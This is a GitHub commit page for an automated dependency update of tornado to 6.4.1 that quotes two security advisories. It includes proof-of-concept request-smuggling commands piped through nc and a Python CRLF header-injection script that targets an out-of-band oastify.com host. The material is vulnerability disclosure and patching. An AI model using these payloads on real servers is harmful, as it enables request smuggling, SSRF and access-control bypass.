Skip to content

Commit

Permalink
chore(deps): update dependency tornado to v6.4.1 [security] (#4847)
Browse files Browse the repository at this point in the history
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [tornado](http://www.tornadoweb.org/)
([source](https://togithub.com/tornadoweb/tornado)) | `==6.3.3` ->
`==6.4.1` |
[![age](https://developer.mend.io/api/mc/badges/age/pypi/tornado/6.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/pypi/tornado/6.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/pypi/tornado/6.3.3/6.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/tornado/6.3.3/6.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[GHSA-753j-mpmx-qq6g](https://togithub.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g)

### Summary
When Tornado receives a request with two `Transfer-Encoding: chunked`
headers, it ignores them both. This enables request smuggling when
Tornado is deployed behind a proxy server that emits such requests.
[Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.

### PoC
0. Install Tornado.
1. Start a simple Tornado server that echoes each received request's
body:
```bash
cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &
```
2. Send a valid chunked request:
```bash
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
3. Observe that the response is as expected:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z
```
4. Send a request with two `Transfer-Encoding: chunked` headers:
```
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
```
5. Observe the strange response:
```
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

```
This is because Tornado believes that the request has no message body,
so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which
causes a 400 response. With a little cleverness involving `chunk-ext`s,
you can get Tornado to instead respond 405, which has the potential to
desynchronize the connection, as opposed to 400 which should always
result in a connection closure.

### Impact
Anyone using Tornado behind a proxy that forwards requests containing
multiple `Transfer-Encoding: chunked` headers is vulnerable to request
smuggling, which may entail ACL bypass, cache poisoning, or connection
desynchronization.

####
[GHSA-w235-7p84-xx57](https://togithub.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57)

### Summary
Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to
CRLF (carriage return/line feed) injection in the request headers.

### Details
When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does
not reject carriage return (\r) or line feed (\n) characters in the
request headers. As a result, if an application includes an
attacker-controlled header value in a request sent using
`CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into
the request or cause the application to send arbitrary requests to the
specified server.

This behavior differs from that of the standard `AsyncHTTPClient` class,
which does reject CRLF characters.

This issue appears to stem from libcurl's (as well as pycurl's) lack of
validation for the
[`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html)
option. libcurl’s documentation states:

> The headers included in the linked list must not be CRLF-terminated,
because libcurl adds CRLF after each header item itself. Failure to
comply with this might result in strange behavior. libcurl passes on the
verbatim strings you give it, without any filter or other safe guards.
That includes white space and control characters.

pycurl similarly appears to assume that the headers adhere to the
correct format. Therefore, without any validation on Tornado’s part,
header names and values are included verbatim in the request sent by
`CurlAsyncHTTPClient`, including any control characters that have
special meaning in HTTP semantics.

### PoC
The issue can be reproduced using the following script:

```python
import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())
```

When the specified server receives the request, it contains the injected
header (`Header: Injected`) on its own line:

```http
POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body
```

The attacker can also construct entirely new requests using a payload
with multiple CRLF sequences. For example, specifying a header value of
`\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost:
727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server
receiving an additional, attacker-controlled request:

```http
POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body
```

### Impact
Applications using the Tornado library to send HTTP requests with
untrusted header data are affected. This issue may facilitate the
exploitation of server-side request forgery (SSRF) vulnerabilities.

---

### Release Notes

<details>
<summary>tornadoweb/tornado (tornado)</summary>

###
[`v6.4.1`](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1)

[Compare
Source](https://togithub.com/tornadoweb/tornado/compare/v6.4.0...v6.4.1)

###
[`v6.4`](https://togithub.com/tornadoweb/tornado/compare/v6.3.3...v6.4.0)

[Compare
Source](https://togithub.com/tornadoweb/tornado/compare/v6.3.3...v6.4.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge -
"every weekend" in timezone Etc/UTC.

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/canonical/snapcraft).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zOTMuMCIsInVwZGF0ZWRJblZlciI6IjM3LjM5My4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
  • Loading branch information
renovate[bot] committed Jun 11, 2024
1 parent b6f464c commit 6aa3696
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion docs/.sphinx/pinned-requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -30,5 +30,5 @@ sphinxcontrib-htmlhelp==2.0.5
sphinxcontrib-jsmath==1.0.1
sphinxcontrib-qthelp==1.0.7
sphinxcontrib-serializinghtml==1.1.10
tornado==6.3.3
tornado==6.4.1
urllib3==1.26.18

0 comments on commit 6aa3696

Please sign in to comment.